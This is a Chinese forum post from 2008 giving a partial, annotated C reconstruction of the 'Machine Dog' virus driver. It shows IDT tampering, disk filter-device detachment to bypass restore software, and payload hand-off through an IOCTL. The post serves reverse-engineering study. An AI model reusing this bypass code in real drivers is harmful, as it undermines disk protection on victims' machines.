創建時間:2008-03-13
文章屬性:原創
文章提交:swords
(songbohr_at_163.com)
/*
標 題: 【原創】“機器狗”病毒驅動部分逆向分析註釋(C代碼)
作 者: dream2fly(QQ:838468959)
時 間: 2008.03.13 於深圳科技園
鏈 接; http://www.dream2fly.net
版 本: 1.0
【軟件名稱】: 機器狗(病毒)
【下載地址】: http://www.dream2fly.net
或 自己搜索下載
【加殼方式】: 未知殼
【編寫語言】: MASM
【使用工具】: IDA
【操作平臺】: win2003
【軟件介紹】: 穿透冰點型帶驅動病毒
【作者聲明】: 只是感興趣,沒有其他目的。失誤之處敬請諸位大俠賜教!
*/
#include <ntddk.h> // various NT definitions
#define IOCTL_MYDEV_BASE 0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DR0_DEVICE_NAME "//Device//Harddisk0//DR0"
#define NT_DEVICE_NAME "//Device//PhysicalHardDisk0"
#define DOS_DEVICE_NAME "//DosDevices//PhysicalHardDisk0"
PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID* g_ResData;
SIZE_T g_ResDataSize;
typedef struct _idtr
{
//定義中斷描述符表的限制,長度兩字節;
short IDTLimit;
//定義中斷描述服表的基址,長度四字節;
unsigned int IDTBase;
}IDTR,*PIDTR;
typedef struct _idtentry
{
//中斷執行代碼偏移量的底16位;
unsigned short OffsetLow;
//選擇器,也就是寄存器;
unsigned short Selector;
//保留位,始終爲零;
unsigned char Reserved;
//IDT中的門的類型:包括中斷門,陷阱門和任務門;
unsigned char Type:4;
//段標識位;
unsigned char SegmentFlag:1;
//中斷門的權限等級,0表示內核級,3表示用戶級;
unsigned char DPL:2;
//呈現標誌位;
unsigned char Present:1;
//中斷執行代碼偏移量的高16位;
unsigned short OffsetHigh;
}IDTENTRY,*PIDTENTRY;
#define HOOKINTID_09 9 //NPX Segment Overrun
#define HOOKINTID_0E 0x0E //Page Fault
VOID CheckIdt()//用SIDT指令得到中斷向量啊,然後修改中斷向量入口地址
{
int INT_09_Address_High8;
int INT_0E_Address_High8;
unsigned long OldISR_09;
unsigned long OldISR_0E;
//保存IDT入口的基地址和限制信息的數據結構;
IDTR idtr;//store interrupt descript table register. to idtr
//記錄IDT數組的指針,通過它可以查找到我們需要Hook中斷號對應的中斷門;
PIDTENTRY IdtEntry;
//彙編指令sidt,獲取IDT入口信息;
__asm sidt idtr
//賦予IDT基地址值;
IdtEntry = (PIDTENTRY)idtr.IDTBase;
//保存中斷號HOOKINTID對應中斷門所指向的執行代碼偏移量,以備執行中斷處理或恢復時使用
OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);
INT_09_Address_High8 = OldISR_09&0x0FF000000;
/*
這兩句彙編代碼什麼意思?eax相減應該總是0,那麼 jz不總是跳轉返回了???
有知道的大俠告訴我dream2fly(QQ:838468959)
sub eax, eax
jz short FunctionExit
難道是?
if (INT_09_Address_High8 == 0)
return;
*/
//保存中斷號HOOKINTID對應中斷門所指向的執行代碼偏移量,以備執行中斷處理或恢復時使用;
OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow);
INT_0E_Address_High8 = OldISR_0E&0x0FF000000;
if (INT_09_Address_High8 != INT_0E_Address_High8)//檢查0E是不是被HOOK
{
//關中斷
__asm cli
IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此處沒關中斷,難道不bosd?
//開中斷
__asm sti
}
}
/*
通過搜索地址來查找自己的加載地址
查找驅動文件的資源中的1000/1000,並複製到一個全局緩衝區中
*/
VOID* SearchSelf()
{
VOID* pSelfImage = NULL;
VOID* pCurAddr = NULL;
VOID* pTmpAddr = NULL;
// loc_40045F:這個取當前地址用C怎麼寫?
//028 lea ebx, loc_40045F
//028 and ebx, 0FFFFFC00h
//pSelfImage如何取?
while(MmIsAddressValid(pSelfImage))
{
if ((unsigned long)pSelfImage <= 0x80000000)
return NULL;
if (RtlEqualMemory(pSelfImage, "MZ", 2))
{
pCurAddr = pSelfImage;
pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
(unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);
if (!MmIsAddressValid(pCurAddr))
return NULL;
if (RtlEqualMemory(pCurAddr, "PE", 2))
return pSelfImage;
}
(unsigned long)pSelfImage -= 0x400;//-1024K
}
return NULL;
}
SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)
{
// 有空再補上:)
return 0;
}
//
// Device driver routine declarations.
//
NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
);
NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
);
VOID
Unload(
IN PDRIVER_OBJECT DriverObject
);
NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus;
CHAR* pResData = NULL;
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
UNICODE_STRING DeviceName;
VOID* pSelfImage;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;
CheckIdt();
pSelfImage = SearchSelf();
if (pSelfImage == NULL)
return -1;
g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
if (g_ResDataSize == 0)
{
return -1;
}
g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
// 跳轉到下條指令,延時 jmp short $+2
RtlCopyMemory(g_ResData, pResData, g_ResDataSize);
DriverObject->DriverUnload = Unload;
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;
// 爲什麼不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
ntStatus = IoCreateDevice(
DriverObject, // Our Driver Object
0, // We don't use a device extension
&DeviceName,
FILE_DEVICE_NULL, // Device type
0, // Device characteristics //此處應該用FILE_DEVICE_SECURE_OPEN吧?
FALSE, // Not an exclusive device
&DeviceObject ); // Returned ptr to Device Object
if ( !NT_SUCCESS( ntStatus ) )
{
goto End;
}
ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );
if ( !NT_SUCCESS( ntStatus ) )
{
cur_device_object = DriverObject->DeviceObject;
while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
End:
RtlFreeUnicodeString(&DeviceName);
RtlFreeUnicodeString(&SymbolicLinkName);
return STATUS_SUCCESS;
}
VOID
Unload(
IN PDRIVER_OBJECT DriverObject
)
{
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;
if (g_ResData)
{
ExFreePool(g_ResData);
}
if (DriverObject)
{
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
IoDeleteSymbolicLink(&SymbolicLinkName);
RtlFreeUnicodeString(&SymbolicLinkName);
cur_device_object = DriverObject->DeviceObject;
while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
}
NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object
PFILE_OBJECT DRO_FileObject;
ANSI_STRING SourceString;
UNICODE_STRING DRO_DeviceName;
PIO_STACK_LOCATION irpSp;// Pointer to current stack location
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
ULONG inBufLength; // Input buffer length
ULONG outBufLength; // Output buffer length
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
irpSp = IoGetCurrentIrpStackLocation( Irp );
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
if(!inBufLength || !outBufLength)
{
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}
switch ( irpSp->MajorFunction )
{
case IRP_MJ_CREATE:
RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);
IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
g_DR0_DeviceObject = DRO_FileObject->DeviceObject;
//保存DR0上的附加設備,然後斷開附加,等IRP_MJ_CLOSE時恢復附加
if (DRO_FileObject->DeviceObject->AttachedDevice)
{
g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
DRO_FileObject->DeviceObject->AttachedDevice= NULL;
}
ObDereferenceObject(DRO_FileObject);
RtlFreeUnicodeString(&DRO_DeviceName);
break;
case IRP_MJ_CLOSE:
if (g_DR0_DeviceObject)
{
if (g_OldAttachedDeviceOfDR0)
{
g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
}
}
break;
case IRP_MJ_DEVICE_CONTROL:
if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
{
if (outBufLength < g_ResDataSize)
goto End;
// 此處就是提取驅動裏的資源解碼返回給ap層,很簡單,不再反彙編了,此處省略
// 唯一不理解的是既然是雙緩衝應該用IRP.AssociatedIrp.SystemBuffer返回給ap纔是
// 難道此時Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);
Irp->IoStatus.Information = g_ResDataSize;
}
else
{
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
}
break;
default:
//
// The specified I/O control code is unrecognized by this driver.
//
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
break;
}
End:
//
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
//
Irp->IoStatus.Status = ntStatus;
IoCompleteRequest( Irp, IO_NO_INCREMENT );
return ntStatus;
}
“機器狗”病毒驅動部分逆向分析註釋(C代碼)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.